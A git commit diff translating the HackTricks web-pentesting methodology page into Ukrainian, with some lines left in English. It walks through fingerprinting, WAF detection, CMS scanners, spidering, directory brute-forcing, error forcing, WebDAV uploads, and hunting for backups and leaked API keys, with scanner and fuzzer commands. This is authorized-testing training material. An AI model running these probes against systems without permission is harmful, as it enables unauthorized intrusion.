Translated ['src/network-services-pentesting/pentesting-web/README.md',

This commit is contained in:
Translator 2025-09-08 03:18:06 +00:00
parent 7b10265f1d
commit 558d5b88d6
5 changed files with 515 additions and 267 deletions

View File

@ -447,6 +447,7 @@
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
- [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
- [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
- [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
- [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
- [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@ -929,4 +930,3 @@
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## Основна інформація
## Базова інформація
Веб-сервіс є найпоширенішою і наймасштабнішою службою, і існує багато **різних типів вразливостей**.
Веб-сервіс є найбільш **поширеним і масштабним сервісом**, і існує багато **різних типів вразливостей**.
**Порт за замовчуванням:** 80 (HTTP), 443(HTTPS)
```bash
@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
web-api-pentesting.md
{{#endref}}
## Короткий огляд методології
## Підсумок методології
> У цій методології ми припускаємо, що ви збираєтеся атакувати один домен (або піддомен) і тільки його. Тому застосовуйте цю методологію до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером в межах scope.
> У цій методології ми припускаємо, що ви збираєтеся атакувати один домен (або піддомен) і тільки його. Тому цю методологію слід застосовувати до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером у межах сфери тестування.
- [ ] Почніть з **ідентифікації** **технологій**, які використовує веб-сервер. Шукайте **трюки**/підказки, які варто мати на увазі під час решти тесту, якщо вам вдалося визначити технологію.
- [ ] Чи є якісь **відомі вразливості** для версії цієї технології?
- [ ] Використовується якась **well known tech**? Є якісь **useful trick** для отримання додаткової інформації?
- [ ] Чи є **specialised scanner**, який потрібно запустити (наприклад wpscan)?
- [ ] Почніть з **виявлення** **технологій**, які використовуються веб‑сервером. Шукайте **трюки**, які варто мати на увазі під час подальшого тесту, якщо вам вдасться ідентифікувати технологію.
- [ ] Чи є **відомі вразливості** для версії цієї технології?
- [ ] Використовується якась **well known tech**? Є якісь **корисні трюки** для отримання додаткової інформації?
- [ ] Чи є якийсь **specialised scanner** для запуску (наприклад, wpscan)?
- [ ] Запустіть **general purposes scanners**. Ви ніколи не знаєте, чи знайдуть вони щось або якусь цікаву інформацію.
- [ ] Почніть з **initial checks**: **robots**, **sitemap**, **404** error та **SSL/TLS scan** (якщо HTTPS).
- [ ] Почніть **spidering** веб-сторінки: настав час **знайти** всі можливі **files, folders** та **parameters being used.** Також перевірте на **special findings**.
- [ ] _Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється новий каталог, він має бути spidered._
- [ ] **Directory Brute-Forcing**: Спробуйте brute force всі виявлені папки у пошуках нових **files** та **directories**.
- [ ] _Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід Brute-Forced._
- [ ] **Backups checking**: Перевірте, чи можете знайти **backups** для **discovered files**, додаючи поширені розширення резервних копій.
- [ ] **Brute-Force parameters**: Спробуйте **знайти приховані параметри**.
- [ ] Коли ви **ідентифікували** всі можливі **endpoints**, що приймають **user input**, перевірте їх на всі види пов'язаних **вразливостей**.
- [ ] [Дотримуйтесь цього контрольного списку](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] Почніть з **initial checks**: **robots**, **sitemap**, **404** помилка та **SSL/TLS scan** (якщо HTTPS).
- [ ] Почніть spidering веб-сторінки: настав час знайти всі можливі файли, папки та параметри, що використовуються. Також перевірте на наявність особливих знахідок.
- [ ] _Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється нова директорія, її слід обробити за допомогою spidering._
- [ ] **Directory Brute-Forcing**: Спробуйте brute force всі виявлені папки в пошуку нових **файлів** та **директорій**.
- [ ] _Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється нова директорія, її слід піддати Brute-Forced._
- [ ] **Backups checking**: Перевірте, чи можна знайти **резервні копії** виявлених файлів, додаючи поширені розширення для резервних копій.
- [ ] **Brute-Force parameters**: Спробуйте знайти приховані параметри.
- [ ] Після того як ви виявили всі можливі endpoints, які приймають user input, перевірте всі види вразливостей, пов'язаних з ними.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
### Ідентифікація
Перевірте, чи є **відомі вразливості** для **версії** сервера, яка запущена.\\
**HTTP headers and cookies of the response** можуть бути дуже корисними для **identify** **technologies** та/або **version**, що використовуються. **Nmap scan** може визначити версію сервера, але також можуть бути корисні інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
Перевірте, чи існують **відомі вразливості** для **версії** сервера, яка запущена.\
The **HTTP headers and cookies of the response** можуть бути дуже корисними для **ідентифікації** **технологій** та/або **версії**, що використовуються. **Nmap scan** може визначити версію сервера, але корисними також можуть бути інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Шукати [**вразливості версії веб‑застосунку**](../../generic-hacking/search-exploits.md)
Шукайте **для** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Перевірити, чи є WAF**
### **Перевірте, чи є WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Хитрощі веб‑технологій
### Трюки для веб-технологій
Деякі **хитрощі** для **знаходження вразливостей** у різних відомих **технологіях**, що використовуються:
Деякі **tricks** для **finding vulnerabilities** у різних відомих **technologies**, що використовуються:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -100,26 +100,28 @@ webanalyze -host https://google.com -crawl 2
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
_Врахуйте, що **той самий домен** може використовувати **різні технології** на різних **портах**, **папках** та **субдоменах**._\
Якщо веб‑застосунок використовує будь‑яку з перелічених вище відомих **технологій/платформ** або будь‑яку іншу, не забудьте **шукати в Інтернеті** нові хитрощі (і повідомте мені!).
_Врахуйте, що **той самий домен** може використовувати **різні технології** на різних **портах**, **папках** та **піддоменах**._\
Якщо веб-застосунок використовує будь-яку відому **технологію/платформу зі списку вище** або **будь-яку іншу**, не забудьте **пошукати в Інтернеті** нові трюки (і повідомте мені!).
### Перегляд вихідного коду
### Перевірка вихідного коду
Якщо **вихідний код** застосунку доступний на **github**, окрім виконання власного White box тесту застосунку, є деяка інформація, яка може бути корисною для поточного Black-Box testing:
Якщо **вихідний код** застосунку доступний на **github**, окрім виконання вами власного **White box test** додатку, є **деяка інформація**, яка може бути **корисною** для поточного **Black-Box testing**:
- Чи є **Change-log or Readme or Version** файл чи будь‑що з **інформацією про версію**, доступне через веб?
- Як і де зберігаються **credentials**? Чи є якийсь (доступний?) **файл** з credentials (usernames або passwords)?
- Чи існує **Change-log or Readme or Version** файл або щось із **version info accessible** через веб?
- Як і де зберігаються **credentials**? Чи є якийсь (доступний?) **file** з credentials (usernames or passwords)?
- Чи зберігаються **passwords** у **plain text**, **encrypted** або який **hashing algorithm** використовується?
- Чи використовується якийсь **master key** для шифрування чогось? Який **algorithm** використовується?
- Чи можете ви **отримати доступ до будь‑якого з цих файлів**, експлуатуючи якусь вразливість?
- Чи є якась **цікава інформація в github** (вирішені та невирішені) **issues**? Або в **commit history** (можливо якийсь **password** був доданий у старому коміті)?
- Чи можете ви **отримати доступ до будь-якого з цих файлів**, експлуатуючи якусь вразливість?
- Чи є якась **цікава інформація в github** (вирішені й невирішені) **issues**? Або в **commit history** (можливо якийсь **password був доданий у старий commit**)?
{{#ref}}
code-review-tools.md
{{#endref}}
### Автоматизовані сканери
### Автоматичні сканери
#### Автоматичні сканери загального призначення
```bash
@ -135,10 +137,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS сканери
Якщо використовується CMS, не забудьте **запустити сканер**, можливо знайдеться щось цінне:
Якщо використовується CMS, не забудьте **запустити сканер**, можливо знайдеться щось цікаве:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** веб-сайти на предмет проблем безпеки. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** вебсайти на предмет проблем безпеки. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **або** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -148,45 +150,45 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> На цьому етапі ви вже повинні мати якусь інформацію про веб-сервер, що використовується клієнтом (якщо надано дані), і кілька трюків, які варто пам'ятати під час тесту. Якщо вам пощастило, ви навіть знайшли CMS і запустили якийсь сканер.
> У цей момент ви вже повинні мати певну інформацію про веб-сервер, який використовує клієнт (якщо надано якісь дані), та кілька хитрощів, які слід пам'ятати під час тесту. Якщо вам пощастило, ви навіть знайшли CMS і запустили якийсь сканер.
## Step-by-step Web Application Discovery
## Покрокове виявлення веб-застосунку
> З цього моменту ми починаємо взаємодіяти з веб-застосунком.
> З цього моменту ми починаємо взаємодію з веб-застосунком.
### Початкові перевірки
**Сторінки за замовчуванням з корисною інформацією:**
**Сторінки за замовчуванням з цікавою інформацією:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- Перевірте також коментарі на основних та вторинних сторінках.
- Перевірте також коментарі на основних та другорядних сторінках.
**Виклик помилок**
**Форсування помилок**
Веб-сервери можуть **поводитися несподівано**, коли їм надсилаються дивні дані. Це може відкрити **вразливості** або призвести до **розкриття чутливої інформації**.
Веб-сервери можуть **поводитися непередбачувано**, коли їм надсилають дивні дані. Це може відкрити **вразливості** або призвести до **розкриття чутливої інформації**.
- Доступайтеся до **фейкових сторінок** типу /whatever_fake.php (.aspx,.html,.etc)
- **Add "\[]", "]]", and "\[\["** у **значення cookie** та **значення параметрів**, щоб спричинити помилки
- Згенеруйте помилку, передавши як вхід **`/~randomthing/%s`** в **кінці** **URL**
- Спробуйте **різні HTTP Verbs**, наприклад PATCH, DEBUG або неправильні, наприклад FAKE
- Доступ до **фейкових сторінок** на кшталт /whatever_fake.php (.aspx,.html,.etc)
- **Додайте "\[]", "]]", and "\[["** у значення **cookie** та значення **параметрів**, щоб викликати помилки
- Сгенеруйте помилку, подавши вхід як **`/~randomthing/%s`** в **кінці** **URL**
- Спробуйте **різні HTTP Verbs**, наприклад PATCH, DEBUG або некоректні як FAKE
#### **Перевірте, чи можете завантажувати файли (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Якщо ви виявили, що **WebDav** увімкнено, але у вас недостатньо прав для **uploading files** у кореневу папку, спробуйте:
Якщо ви виявите, що **WebDav** **увімкнено**, але у вас недостатньо прав для **uploading files** в кореневій папці, спробуйте:
- **Brute Force** облікових даних
- **Upload files** через WebDav у інші знайдені папки на сайті. Можливо, у вас є права завантаження в інших папках.
- **Upload files** через WebDav у решту знайдених папок на сайті. Можливо, у вас є права завантажувати файли в інших папках.
### **SSL/TLS вразливості**
### **SSL/TLS уразливості**
- Якщо застосунок **не змушує користувача використовувати HTTPS** в жодній частині, то він **вразливий до MitM**
- Якщо застосунок **відправляє чутливі дані (паролі) через HTTP**, це серйозна вразливість.
- Якщо додаток **не примушує використання HTTPS** у будь-якій частині, то він **вразливий до MitM**
- Якщо додаток **відправляє чутливі дані (паролі) через HTTP** — це критична вразливість.
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (у Bug Bounty програмах ці типи вразливостей, можливо, не приймаються) та використайте [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (в Bug Bounty програмах ці види вразливостей, ймовірно, не будуть прийняті) і використовуйте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки вразливостей:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -202,53 +204,53 @@ Information about SSL/TLS vulnerabilities:
### Spidering
Запустіть який-небудь **spider** всередині веб-додатку. Мета spider — **знайти якомога більше шляхів** у тестованому застосунку. Для цього слід використовувати веб-кролінг та зовнішні джерела, щоб відшукати якомога більше валідних шляхів.
Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішніх джерелах (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, з LinkFider для JS файлів та Archive.org як зовнішнім джерелом.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, також вказує на "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Також шукає в Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider, але може бути корисним. Ви можете вказати файл з hosts та файл з paths, і meg завантажить кожен path для кожного host та збереже відповіді.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливістю рендерингу JS. Однак, здається, що він не підтримується, попередньо скомпільована версія стара і поточний код не компілюється.
- [**gau**](https://github.com/lc/gau) (go): HTML spider, який використовує зовнішніх провайдерів (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Скрипт, який знайде URL з параметрами і виведе їх список.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider з можливістю рендерингу JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider з можливістю beautify JS, здатний шукати нові шляхи у JS файлах. Також варто глянути на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є обгорткою для LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Для витягування endpoints як з HTML-джерела, так і з вбудованих javascript файлів. Корисно для bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Скрипт на python 2.7 з Tornado і JSBeautifier для парсингу відносних URL з JavaScript файлів. Корисний для швидкого виявлення AJAX-запитів. Здається, що не підтримується.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Дає файл (HTML) і витягує URL з нього, використовуючи хитрі регулярні вирази для знаходження і витягання відносних URL з зламаних (minify) файлів.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Збирає цікаву інформацію з JS файлів за допомогою кількох інструментів.
- [**subjs**](https://github.com/lc/subjs) (go): Знаходить JS файли.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Завантажує сторінку в headless browser і виводить всі URL, які були підвантажені для завантаження сторінки.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Інструмент для content discovery, що поєднує кілька опцій попередніх інструментів.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Розширення Burp для знаходження шляхів і параметрів у JS файлах.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Інструмент, який за .js.map URL дає вам beautified JS код.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Інструмент для виявлення endpoints для заданої цілі.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Відкриває посилання з wayback machine (також завантажуючи відповіді у wayback і шукаючи більше посилань).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулер (навіть заповнюючи форми) та також знаходить чутливу інформацію використовуючи специфічні regex-и.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite — це просунутий мультіфункціональний GUI web security Crawler/Spider для спеціалістів з кібербезпеки.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Пакет на Go та [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягання URL, шляхів, секретів та іншої цікавої інформації з JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge — просте **Burp Suite extension** для **витягання параметрів і endpoints** з request-ів для створення кастомних wordlist-ів для fuzzing та enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Чудовий інструмент для цього.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Виводить кожне посилання, яке йому вдається знайти.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
### Brute Force directories and files
Починайте **brute-forcing** з кореневої папки і переконайтесь, що ви brute-force-ите **всі** **директорії, знайдені** цим методом, а також усі директорії, **виявлені** під час **Spidering** (ви можете робити brute-forcing **рекурсивно** і додавати на початок використовуваного wordlist імена знайдених директорій).\
Інструменти:
Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
Tools:
- **Dirb** / **Dirbuster** - Включено в Kali, **старі** (і **повільні**), але функціональні. Дозволяють auto-signed certificates і рекурсивний пошук. Занадто повільні у порівнянні з іншими опціями.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Не дозволяє auto-signed certificates, але** дозволяє рекурсивний пошук.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Дозволяє auto-signed certificates, але **не має** **рекурсивного** пошуку.
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, але інструмент, який з даного списку знайдених URL видалить "дублікати" URL.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension для створення списку директорій з burp history різних сторінок.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дубльованим функціоналом (на основі js imports).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує wapalyzer для визначення використаних технологій і підбору відповідних wordlists.
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
**Рекомендовані словники:**
**Recommended dictionaries:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -267,41 +269,41 @@ Information about SSL/TLS vulnerabilities:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється нова директорія, її слід Brute-Force-ити._
_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Знайти broken links всередині HTML, які можуть бути вразливими до takeover.
- **File Backups**: Після того як ви знайшли всі файли, шукайте бекапи всіх виконуваних файлів ("_.php_", "_.aspx_"...). Поширені варіації імен для бекапів: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp та file.old._ Також можна використати інструмент [**bfac**](https://github.com/mazen160/bfac) **або** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Ви можете використовувати інструменти, такі як [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **та** [**Param Miner**](https://github.com/PortSwigger/param-miner) **для виявлення прихованих параметрів. Якщо можливо, спробуйте шукати** приховані параметри у кожному виконуваному web-файлі.
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** Перевіряйте коментарі у всіх файлах — там можна знайти **credentials** або **приховану функціональність**.
- Якщо ви граєте в **CTF**, "поширений" трюк — **ховати** **інформацію** всередині коментарів праворуч від сторінки (використовуючи **сотні** пробілів, щоб ви не бачили дані при відкритті коду у браузері). Інша можливість — використовувати **кілька нових рядків** і **сховати інформацію** в коментарі внизу веб-сторінки.
- **API keys**: Якщо ви **знайдете будь-який API key**, існують гайди/проекти, які показують, як використовувати API keys різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Якщо ви знайдете API key, що починається з **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik — ви можете використати проект [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) щоб перевірити, до яких API ключ має доступ.
- **S3 Buckets**: Під час spidering перевіряйте, чи якийсь **subdomain** або **link** пов'язаний з S3 bucket. У такому випадку [**перевірте** права доступу до bucket](buckets/index.html).
- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**.
- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
